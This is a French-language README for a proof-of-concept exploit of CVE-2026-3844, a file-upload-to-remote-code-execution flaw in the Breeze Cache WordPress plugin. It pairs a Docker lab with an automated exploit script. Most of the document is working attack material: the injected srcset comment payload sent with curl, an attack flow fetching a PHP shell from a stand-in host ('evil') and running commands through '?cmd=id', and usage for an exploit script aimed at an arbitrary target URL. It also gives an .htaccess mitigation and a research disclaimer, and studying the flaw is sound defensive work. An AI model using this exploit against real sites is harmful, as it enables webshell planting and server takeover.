
Preuve de concept d'exploitation pour CVE-2026-3844, un téléversement de fichier arbitraire non authentifié menant à l'exécution de code à distance dans Breeze Cache <= 2.4.4. Inclut un laboratoire Docker et un script d'exploitation automatisé.
| Champ | Valeur |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Téléversement sans restriction de fichier de type dangereux |
| Plugin | Breeze Cache par Cloudways |
| Versions concernées | Toutes les versions jusqu'à 2.4.4 incluse |
| Version corrigée | 2.4.5 (changeset 3511463) |
| Installations | Plus de 400 000 installations WordPress actives |
| Découvert par | Hung Nguyen (bashu) |
| Divulgué | 2026-04-23 |
La fonction fetch_gravatar_from_remote() dans inc/class-breeze-cache-cronjobs.php télécharge
des URL distantes et les enregistre dans un répertoire accessible via le web en utilisant le
nom de fichier et l'extension d'origine de l'URL. Il n'y a aucune validation du type MIME,
aucune liste blanche d'extensions, et aucune inspection du contenu.
Lorsque le paramètre « Host Files Locally - Gravatars » est activé, le plugin s'accroche au filtre
get_avatar de WordPress via breeze_replace_gravatar_image(). Cette fonction utilise une
expression régulière pour extraire les URL des attributs srcset et src dans le HTML de
l'avatar. Un attaquant peut injecter un attribut srcset malveillant en publiant un commentaire
avec un nom d'auteur forgé, ce qui amène le plugin à télécharger et mettre en cache un fichier
PHP arbitraire.
Ce qui manque :
.php, .phtml, .phar tous acceptés)Attaquant WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Commentaire enregistré
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | Le filtre get_avatar se déclenche
| | breeze_replace_gravatar_image()
| | extrait l'URL srcset via regex
| | appelle fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Contenu du fichier PHP |
| -----------------------------> |
| | Enregistré dans :
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP s'exécute en tant que www-data
| uid=33(www-data) |
| <------------------------------------ |
Cette preuve de concept (PoC) comprend un environnement Docker autonome avec :
requests (pip install requests)cd docker/
docker compose up -d --build
Attendre environ 30 secondes que WordPress s'initialise. Vérifier :
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Attendu : Stable tag: 2.4.4
La configuration Docker automatise :
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Remplacez PAYLOAD_IP par l'IP du conteneur de charge utile :
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Réponse attendue : redirection HTTP 302 vers la page de l'article.
Visitez la page de l'article pour que WordPress affiche l'avatar du commentaire, ce qui déclenche
le filtre get_avatar de Breeze et télécharge la charge utile :
curl -s "http://localhost:8088/?p=1" > /dev/null
Le HTML rendu montre que Breeze a extrait le srcset injecté et mis en cache la charge utile :
La charge utile PHP est écrite telle quelle, appartenant à www-data :
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target URL cible WordPress (obligatoire)
-p, --payload URL de la charge utile PHP à téléverser
--post-id ID d'article spécifique pour commenter
--timeout Délai d'expiration HTTP en secondes (défaut : 15)
--wait Secondes d'attente pour le cron (défaut : 12)
--check-only Vérifier uniquement la version du plugin, sans exploiter
cd docker/
docker compose down -v --remove-orphans
.htaccess dans wp-content/cache/breeze-extra/gravatars/ :
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # Ce fichier
docker/
Dockerfile # Image WordPress + Breeze 2.4.4
docker-compose.yml # Laboratoire complet (WP + MariaDB + serveur de charge utile)
entrypoint-custom.sh # Configure automatiquement WP avec les réglages vulnérables
poc/
exploit.py # Script d'exploitation PoC automatisé
validate.sh # Harnais de validation Docker de bout en bout
payloads/
shell.php # Charge utile PoC inoffensive (echo + id)
screenshots/ # Captures d'écran SVG de terminal (Charm freeze)
validation/ # Sortie de validation d'exploitabilité RAPTOR
Cette preuve de concept est fournie uniquement pour les tests de sécurité autorisés, l'éducation et la recherche défensive. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.